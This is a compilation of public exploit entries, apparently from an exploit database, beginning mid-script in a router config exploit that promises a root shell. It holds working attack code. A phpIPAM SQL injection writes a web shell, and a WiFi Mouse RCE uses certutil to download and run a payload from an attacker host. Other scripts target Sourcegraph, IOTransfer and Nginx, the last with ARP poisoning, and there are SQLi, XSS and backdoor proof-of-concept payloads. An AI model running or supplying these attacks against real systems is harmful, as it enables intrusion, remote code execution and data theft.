'%s_modified'%(parser.decrypted_path) os.rename(parser.decrypted_path, filepath) parser.decrypted_path = os.path.abspath(filepath) parser.encrypted_path = '%s.bin'%(filepath) parser.modify_config(args.c) print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path)) if not args.b: if parser is None: parser = BackupParser('%s.bin'%(args.r.rstrip('/'))) print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path)) parser.encrypt_config() data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'}) timeout = data['data']['totaltime'] if data['success'] else 180 print('[*] uploading modified config file "%s"'%(parser.encrypted_path)) data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')}) if not data['success']: print('[!] unexpected response') print(data) sys.exit(-1) print('[+] config file successfully uploaded') print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))
-
phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-04-10 # Exploit Author: Guilherme '@behiNdyk1' Alves # Vendor Homepage: https://phpipam.net/ # Software Link: https://github.com/phpipam/phpipam/releases/tag/v1.4.5 # Version: 1.4.5 # Tested on: Linux Ubuntu 20.04.3 LTS #!/usr/bin/env python3 import requests import argparse from sys import exit, argv from termcolor import colored banner = """ █▀█ █░█ █▀█ █ █▀█ ▄▀█ █▀▄▀█ ▄█ ░ █░█ ░ █▀ █▀ █▀█ █░░ █ ▀█▀ █▀█ █▀█ █▀▀ █▀▀ █▀▀ █▀█ █▀▀ █ █▀▀ █▀█ █░▀░█ ░█ ▄ ▀▀█ ▄ ▄█ ▄█ ▀▀█ █▄▄ █ ░█░ █▄█ █▀▄ █▄▄ ██▄ █▄▄ █▄█ █▄▄ █▀▀ █░█ █ █▄░█ █▀▄ █▄█ █▀ █▀▀ █▀▀ █▄█ ░█░ █▄█ ██▄ █▀█ █ █░▀█ █▄▀ ░█░ ▄█ ██▄ █▄▄\n""" print(banner) parser = argparse.ArgumentParser(usage="./exploit.py -url http://domain.tld/ipam_base_url -usr username -pwd password -cmd 'command_to_execute' --path /system/writable/path/to/save/shell", description="phpIPAM 1.4.5 - (Authenticated) SQL Injection to RCE") parser.add_argument("-url", type=str, help="URL to vulnerable IPAM", required=True) parser.add_argument("-usr", type=str, help="Username to log in as", required=True) parser.add_argument("-pwd", type=str, help="User's password", required=True) parser.add_argument("-cmd", type=str, help="Command to execute", default="id") parser.add_argument("--path", type=str, help="Path to writable system folder and accessible via webserver (default: /var/www/html)", default="/var/www/html") parser.add_argument("--shell", type=str, help="Spawn a shell (non-interactive)", nargs="?") args = parser.parse_args() url = args.url username = args.usr password = args.pwd command = args.cmd path = args.path # Validating url if url.endswith("/"): url = url[:-1] if not url.startswith("http://") and not url.startswith("https://"): print(colored("[!] Please specify a valid scheme (http:// or https://) before the domain.", "yellow")) exit() def login(url, username, password): """Takes an username and a password and tries to execute a login (IPAM)""" data = { "ipamusername": username, "ipampassword": password } print(colored(f"[...] Trying to log in as {username}", "blue")) r = requests.post(f"{url}/app/login/login_check.php", data=data) if "Invalid username or password" in r.text: print(colored(f"[-] There's an error when trying to log in using these credentials --> {username}:{password}", "red")) exit() else: print(colored("[+] Login successful!", "green")) return str(r.cookies['phpipam']) auth_cookie = login(url, username, password) def exploit(url, auth_cookie, path, command): print(colored("[...] Exploiting", "blue")) vulnerable_path = "app/admin/routing/edit-bgp-mapping-search.php" data = { "subnet": f"\" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '{path}/evil.php' -- -", "bgp_id": "1" } cookies = { "phpipam": auth_cookie } requests.post(f"{url}/{vulnerable_path}", data=data, cookies=cookies) test = requests.get(f"{url}/evil.php") if test.status_code != 200: return print(colored(f"[-] Something went wrong. Maybe the path isn't writable. You can still abuse of the SQL injection vulnerability at {url}/index.php?page=tools§ion=routing&subnetId=bgp&sPage=1", "red")) if "--shell" in argv: while True: command = input("Shell> ") r = requests.get(f"{url}/evil.php?cmd={command}") print(r.text) else: print(colored(f"[+] Success! The shell is located at {url}/evil.php. Parameter: cmd", "green")) r = requests.get(f"{url}/evil.php?cmd={command}") print(f"\n\n[+] Output:\n{r.text}") exploit(url, auth_cookie, path, command)
-
Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)
# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE) # Date: 2022-06-10 # Exploit Author: Altelus # Vendor Homepage: https://about.sourcegraph.com/ # Version: 3.63.3 # Tested on: Linux # CVE : CVE-2022-23642 # Docker Container: sourcegraph/server:3.36.3 # Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. # This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed # on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible # if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3 # # Exploitation parameters: # - Exposed Sourcegraph gitserver # - Existing repo on sourcegraph import json import argparse import requests def exploit(host, existing_git, cmd): # setting sshCommand data = { "Repo" : existing_git, "Args" : [ "config", "core.sshCommand", cmd ] } res = requests.get(host+"/exec", json=data).text if len(res) > 0: print("[-] Didn't work: {}".format(res)) exit(0) # setting fake origin data = { "Repo" : existing_git, "Args" : [ "remote", "add", "origin", "git@lolololz:foo/bar.git" ] } res = requests.get(host+"/exec", json=data).text if len(res) > 0: print("[-] Didn't work: {}".format(res)) exit(0) # triggering command using push data = { "Repo" : existing_git, "Args" : [ "push", "origin", "master" ] } res = requests.get(host+"/exec", json=data).text print("[*] Finished executing exploit") parser = argparse.ArgumentParser() parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host") parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph") parser.add_argument('--cmd', required=True, help="Command to run") args = parser.parse_args() host = args.gitserver_host existing_git = args.existing_git cmd = args.cmd exploit(host, existing_git, cmd)
-
ChurchCRM 4.4.5 - SQLi
# Exploit Title: ChurchCRM 4.4.5 - SQLi # Exploit Author: nu11secur1ty # Date: 05.11.2022 # Vendor: https://churchcrm.io/ # Software: https://github.com/ChurchCRM/CRM # Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325 ## Description: There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php. [+] Payloads: ```mysql --- Parameter: PersonID (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack= --- ```
-
Old Age Home Management System 1.0 - SQLi Authentication Bypass
# Exploit Title: Old Age Home Management System 1.0 - SQLi Authentication Bypass # Date: 12/06/2022 # Exploit Author: twseptian # Vendor Homepage: https://phpgurukul.com/old-age-home-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/projects/Old-Age-Home-MS-using-PHP.zip # Version: v1.0 # Tested on: Kali Linux # Vulnerable code line 9 in file "/oahms/admin/login.php" $ret=mysqli_query($con,"SELECT ID FROM tbladmin WHERE UserName='$username' and Password='$password'"); # Steps of reproduce: 1. Go to the admin login page http://localhost/oahms/admin/login.php 2. sqli payload: admin' or '1'='1';-- - 3. password: password # Proof of Concept POST /oahms/admin/login.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 71 Origin: http://localhost Connection: close Referer: http://localhost/oahms/admin/login.php Cookie: ci_session=2c1ifme2jrmeeg2nsos66he8g3m1cfgj; PHPSESSID=8vj8hke2pc1h18ek8rq8bmgiqp Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 username=admin%27+or+%271%27%3D%271%27%3B--+-&password=passwrod&submit=
-
SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)
# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS) # Date: 2022-05-15 # Exploit Author: Ahmed Alroky # Author Company : AIactive # Version: ver.6.00 # Vendor home page : https://www.contec.com/ # Authentication Required: No # CVE : CVE-2022-29299 # Tested on: Windows # Proof Of Concept: http://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6
-
SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS) # Date: 2022-05-15 # Exploit Author: Ahmed Alroky # Author Company : AIactive # Version: ver.6.00 # Vendor home page : https://www.contec.com/ # Authentication Required: No # CVE : CVE-2022-29301 # Tested on: Windows # Proof Of Concept: http://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green
-
WordPress Plugin Weblizar 8.9 - Backdoor
# Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor # Google Dork: 'wp-json/am-member/license' # Exploit Author: Sobhan Mahmoodi # Vendor Homepage: https://weblizar.com/plugins/school-management/ # Version: 8.9 # Tested on: windows/linux Vulnerable code: add_action( 'rest_api_init', function() { register_rest_route( 'am-member', 'license', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => function( $request ) { $args = $request->get_params(); if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) { eval( $args['blowf'] ); } }; ) ); } ); If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it. In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and given that eval executes the blowf value , Our favorite command must also be in this argument. Proof of Concept: curl -s -d 'blowfish=1' -d "blowf=system('id');" ' http://localhost:8888/wp-json/am-member/license' uid=33(www-data) gid=33(www-data) groups=33(www-data)
-
WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)
# Exploit Title: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS) # Date: 21 Apr 2022 # Exploit Author: cxosmo # Vendor Homepage: https://wso2.com # Software Link: API Manager (https://wso2.com/api-manager/), Identity Server (https://wso2.com/identity-server/), Enterprise Integrator (https://wso2.com/integration/) # Affected Version(s): API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 and 4.0.0; # API Manager Analytics 2.2.0, 2.5.0, and 2.6.0; # API Microgateway 2.2.0; # Data Analytics Server 3.2.0; # Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0; # IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0; # Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0; # Identity Server Analytics 5.5.0 and 5.6.0; # WSO2 Micro Integrator 1.0.0. # Tested on: API Manager 4.0.0 (OS: Ubuntu 21.04; Browser: Chromium Version 99.0.4844.82) # CVE: CVE-2022-29548 import argparse import logging import urllib.parse # Global variables VULNERABLE_ENDPOINT = "/carbon/admin/login.jsp?loginStatus=false&errorCode=" DEFAULT_PAYLOAD = "alert(document.domain)" # Logging config logging.basicConfig(level=logging.INFO, format="") log = logging.getLogger() def generate_payload(url, custom_payload=False): log.info(f"Generating payload for {url}...") if custom_payload: log.info(f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//") else: log.info(f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//") def clean_url_input(url): if url.count("/") > 2: return f"{url.split('/')[0]}//{url.split('/')[2]}" else: return url def check_payload(payload): encoded_characters = ['"', '<', '>'] if any(character in payload for character in encoded_characters): log.info(f"Unsupported character(s) (\", <, >) found in payload.") return False else: return urllib.parse.quote(payload) if __name__ == "__main__": # Parse command line parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter) required_arguments = parser.add_argument_group('required arguments') required_arguments.add_argument("-t", "--target", help="Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)", required="True", action="store") parser.add_argument("-p", "--payload", help="Use custom JavaScript for generated payload (Some characters (\"<>) are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))", action="store", default=False) args = parser.parse_args() # Clean user target input args.target = clean_url_input(args.target.lower()) # Check for unsupported characters in custom payload; URL-encode as required if args.payload: args.payload = check_payload(args.payload) if args.payload: generate_payload(args.target, args.payload) else: generate_payload(args.target)
-
WiFi Mouse 1.7.8.5 - Remote Code Execution(v2)
# Exploit Title: WiFi Mouse 1.7.8.5 - Remote Code Execution # Date: 25-02-2021 # Author: H4rk3nz0 # Vendor Homepage: http://necta.us/ # Software Link: http://wifimouse.necta.us/#download # Version: 1.7.8.5 # Tested on: Windows Enterprise Build 17763 # Python 3 port done by RedHatAugust # Original exploit: https://www.exploit-db.com/exploits/49601 # Tested on: Windows 10 Pro Build 15063 # Desktop Server software used by mobile app has PIN option which does not to prevent command input. # Connection response will be 'needpassword' which is only interpreted by mobile app and prompts for PIN input. #!/usr/bin/env python3 from socket import socket, AF_INET, SOCK_STREAM from time import sleep import sys import string target = socket(AF_INET, SOCK_STREAM) port = 1978 try: rhost = sys.argv[1] lhost = sys.argv[2] payload = sys.argv[3] except: print("USAGE: python " + sys.argv[0]+ " <target-ip> <local-http-server-ip> <payload-name>") exit() characters={ "A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e", "O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a", "a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e", "o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a", "1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30", " ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c", ">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a", "(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e", "\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"} def openCMD(): target.sendto(bytes.fromhex("6f70656e66696c65202f432f57696e646f77732f53797374656d33322f636d642e6578650a"), (rhost,port)) # openfile /C/Windows/System32/cmd.exe def SendString(string): for char in string: target.sendto(bytes.fromhex("7574663820" + characters[char] + "0a"),(rhost,port)) # Sends Character hex with packet padding sleep(0.03) def SendReturn(): target.sendto(bytes.fromhex("6b657920203352544e"),(rhost,port)) # 'key 3RTN' - Similar to 'Remote Mouse' mobile app sleep(0.5) def exploit(): print("[+] 3..2..1..") sleep(2) openCMD() print("[+] *Super fast hacker typing*") sleep(1) SendString("certutil.exe -urlcache -f http://" + lhost + "/" + payload + " C:\\Windows\\Temp\\" + payload) SendReturn() print("[+] Retrieving payload") sleep(3) SendString("C:\\Windows\\Temp\\" + payload) SendReturn() print("[+] Done! Check Your Listener?") def main(): target.connect((rhost,port)) exploit() target.close() exit() if __name__=="__main__": main()
-
Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS) # Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500) # Date: 06.18.2022 # Exploit Author: Vulnz # Vendor Homepage: https://github.com/mailhog/MailHog # Software Link: https://github.com/mailhog/MailHog # Version: 1.0.1 # Tested on: Windows,Linux,Docker # CVE : N/A Explanation: Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call. Steps to reproduce: 1. Create malicious attachment with payloads stated below 2. Attach malicious file to email with payload (XSS) 3. Send email 4. Wait for victim to open email 5. Receive data, get control of victim browser using Beef framework, or manipulate with API data Proof of Concept: <script> var XMLHttpFactories = [ function () { return new XMLHttpRequest() }, function () { return new ActiveXObject("Msxml2.XMLHTTP") }, function () { return new ActiveXObject("Msxml3.XMLHTTP") }, function () { return new ActiveXObject("Microsoft.XMLHTTP") } ]; function createXMLHTTPObject() { var xmlhttp = false; for (var i=0;i<XMLHttpFactories.length;i++) { try { xmlhttp = XMLHttpFactories[i](); } catch (e) { continue; } break; } return xmlhttp; } var xhr = createXMLHTTPObject(); xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true); xhr.onreadystatechange = function() { if (xhr.readyState == 4) alert("Request completed, with the following status code: " + xhr.status); } xhr.send(""); </script>
-
Nginx 1.20.0 - Denial of Service (DOS)
# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS) # Date: 2022-6-29 # Exploit Author: Mohammed Alshehri - https://Github.com/M507 # Vendor Homepage: https://nginx.org/ # Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0 # Version: 0.6.18 - 1.20.0 # Tested on: Ubuntu 18.04.4 LTS bionic # CVE: CVE-2021-23017 # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn # python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1 # The service needs to be configured to use Nginx resolver from scapy.all import * from multiprocessing import Process from binascii import hexlify, unhexlify import argparse, time, os def device_setup(): os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward") os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP") def ARPP(target, dns_server): print("[*] Sending poisoned ARP packets") target_mac = getmacbyip(target) dns_server_mac = getmacbyip(dns_server) while True: time.sleep(2) send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0) send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0) def exploit(target): print("[*] Listening ") sniff (filter="udp and port 53 and host " + target, prn = process_received_packet) """ RFC schema 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LENGTH | ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ANCOUNT | NSCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ARCOUNT | QD | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AN | NS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AR | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. DNS """ def process_received_packet(received_packet): if received_packet[IP].src == target_ip: if received_packet.haslayer(DNS): if DNSQR in received_packet: print("[*] the received packet: " + str(bytes_hex(received_packet))) print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build()))) try: # \/ the received DNS request dns_request = received_packet[DNS].build() null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12) print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index]))) print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:]))) payload = [ dns_request[0:2], b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00", dns_request[12:null_pointer_index+1], dns_request[null_pointer_index+1:null_pointer_index+3], dns_request[null_pointer_index+3:null_pointer_index+5], b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10", b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04" ] payload = b"".join(payload) spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\ UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\ payload) print("[+] dns answer: "+str(hexlify(payload))) print("[+] full packet: " + str(bytes_hex(spoofed_pkt))) sendp(spoofed_pkt, count=1) print("\n[+] malicious answer was sent") print("[+] exploited\n") except: print("\n[-] ERROR") def main(): global target_ip parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="IP address of the target") parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target") args = parser.parse_args() target_ip = args.target dns_server_ip = args.dns_server device_setup() processes_list = [] ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip)) exploitProcess = Process(target=exploit,args=(target_ip,)) processes_list.append(ARPPProcess) processes_list.append(exploitProcess) for process in processes_list: process.start() for process in processes_list: process.join() if __name__ == '__main__': target_ip = "" main()
-
IOTransfer 4.0 - Remote Code Execution (RCE)
# Exploit Title: IOTransfer V4 – Remote Code Execution (RCE) # Date: 06/22/2022 # Exploit Author: Tomer Peled # Vendor Homepage: https://www.iobit.com # Software Link: https://iotransfer.itopvpn.com/ # Version: V4 and onward # Tested on: Windows 10 # CVE : 2022-24562 # References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562 import os from urllib3.exceptions import ConnectTimeoutError from win32com.client import * import requests import json localPayloadPath = r"c:\temp\malicious.dll" remotePayloadPath="../Program Files (x86)/Google/Update/goopdate.dll" remoteDownloadPath = r'C:\Users\User\Desktop\obligationservlet.pdf' Range = "192.168.89" UpOrDown="Upload" IP = "" UserName = "" def get_version_number(file_path): information_parser = Dispatch("Scripting.FileSystemObject") version = information_parser.GetFileVersion(file_path) return version def getTaskList(IP, taskid=""): print("Getting task list...") url = f'http://{IP}:7193/index.php?action=gettasklist&userid=*' res = requests.get(url) tasks = json.loads(res.content) tasks = json.loads(tasks['content']) for task in tasks['tasks']: if taskid == task['taskid']: print(f"Task ID found: {taskid}") def CreateUploadTask(IP): SetSavePath(IP) url = f'http://{IP}:7193/index.php?action=createtask' task = { 'method': 'get', 'version': '1', 'userid': '*', 'taskstate': '0', } res = requests.post(url, json=task) task = json.loads(res.content) task = json.loads(task['content']) taskid = task['taskid'] print(f"[*] TaskID: {taskid}") return taskid def CreateUploadDetailNode(IP, taskid, remotePath, size='100'): url = f'http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0' file_info = { 'size': size, 'savefilename': remotePath, 'name': remotePath, 'fullpath': r'c:\windows\system32\calc.exe', 'md5': 'md5md5md5md5md5', 'filetype': '3', } res = requests.post(url, json=file_info) js = json.loads(res.content) print(f"[V] Create Detail returned: {js['code']}") def readFile(Path): file = open(Path, "rb") byte = file.read(1) next = "Start" while next != b'': byte = byte + file.read(1023) next = file.read(1) if next != b'': byte = byte + next file.close() return byte def CallUpload(IP, taskid, localPayloadPath): url = f'http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0' send_data = readFile(localPayloadPath) try: res = requests.post(url, data=send_data) js = json.loads(res.content) if js['code'] == 200: print("[V] Success payload uploaded!") else: print(f"CreateRemoteFile: {res.content}") except: print("[*] Reusing the task...") res = requests.post(url, data=send_data) js = json.loads(res.content) if js['code'] == 200 or "false" in js['error']: print("[V] Success payload uploaded!") else: print(f"[X] CreateRemoteFile Failed: {res.content}") def SetSavePath(IP): url = f'http://{IP}:7193/index.php?action=setiotconfig' config = { 'tasksavepath': 'C:\\Program ' } requests.post(url, json=config) def ExploitUpload(IP,payloadPath,rPath,taskid =None): if not taskid: taskid = CreateUploadTask(IP) size = os.path.getsize(payloadPath) CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size)) CallUpload(IP, taskid, payloadPath) def CreateDownloadTask(IP, Path) -> str: url = f'http://{IP}:7193/index.php?action=createtask' task = { 'method': 'get', 'version': '1', 'userid': '*', 'taskstate': '0', 'filepath': Path } res = requests.post(url, json=task) task = json.loads(res.content) task = json.loads(task['content']) taskid = task['taskid'] print(f"TaskID: {taskid}") return taskid def ExploitDownload(IP, DownloadPath, ID=None): if ID: url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}' else: taskid = CreateDownloadTask(IP, DownloadPath) url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}' res = requests.get(url) return res def ScanIP(startRange): print("[*] Searching for vulnerable IPs", end='') Current = 142 IP = f"{startRange}.{Current}" VulnerableIP: str = "" UserName: str = "" while Current < 252: print(".", end='') url = f'http://{IP}:7193/index.php?action=getpcname&userid=*' try: res = requests.get(url, timeout=1) js = json.loads(res.content) js2 = json.loads(js['content']) UserName = js2['name'] VulnerableIP=IP print(f"\n[V] Found a Vulnerable IP: {VulnerableIP}") print(f"[!] Vulnerable PC username: {UserName}") return VulnerableIP,UserName except Exception as e: pass except ConnectTimeoutError: pass IP = f"{startRange}.{Current}" Current = Current + 1 return None,None if __name__ == '__main__': IP,UserName = ScanIP(Range) if IP is None or UserName is None: print("[X] No vulnerable IP found") exit() print("[*] Starting Exploit...") if UpOrDown == "Upload": print(f"[*]Local Payload Path: {localPayloadPath}") print(f"[*]Remote Upload Path: {remotePayloadPath}") ExploitUpload(IP,localPayloadPath,remotePayloadPath) elif UpOrDown == "Download": print(f"[*] Downloading the file: {remoteDownloadPath}") res = ExploitDownload(IP, remoteDownloadPath) file = open("out.pdf", "wb+") file.write(res.content) file.close()
-
Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
# Exploit Title: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS) # Date: 08/05/2022 # Exploit Author: Giulio Garzia 'Ozozuz' # Vendor Homepage: https://www.magnolia-cms.com/ # Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip # Version: 6.2.19 # Tested on: Linux, Windows, Docker # CVE : CVE-2022-33098 Explanation Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource. ===== REQUEST ===== POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908 Content-Length: 620 Connection: close Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: iframe Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin -----------------------------399178799522967017241464837908 Content-Disposition: form-data; name="140_file"; filename="xss.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert('POC - Magnolia CMS'); </script> </svg> -----------------------------399178799522967017241464837908--
-
Kite 1.2021.610.0 - Unquoted Service Path
# Exploit Title: Kite 1.2021.610.0 - Unquoted Service Path # Date: 2020-11-6 # Exploit Author: Ghaleb Al-otaibi # Vendor Homepage: https://www.kite.com/ # Version: Version 4.2.0.1 U1 # Tested on: Microsoft Windows 10 Pro - 10.0.19044 N/A Build 19044 # CVE : NA # Service info: C:\Windows\system32\cmd.exe>sc qc KiteService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: KiteService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\Kite\KiteService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : KiteService DEPENDENCIES : SERVICE_START_NAME : LocalSystem
-
Dr. Fone 4.0.8 - 'net_updater32.exe' Unquoted Service Path
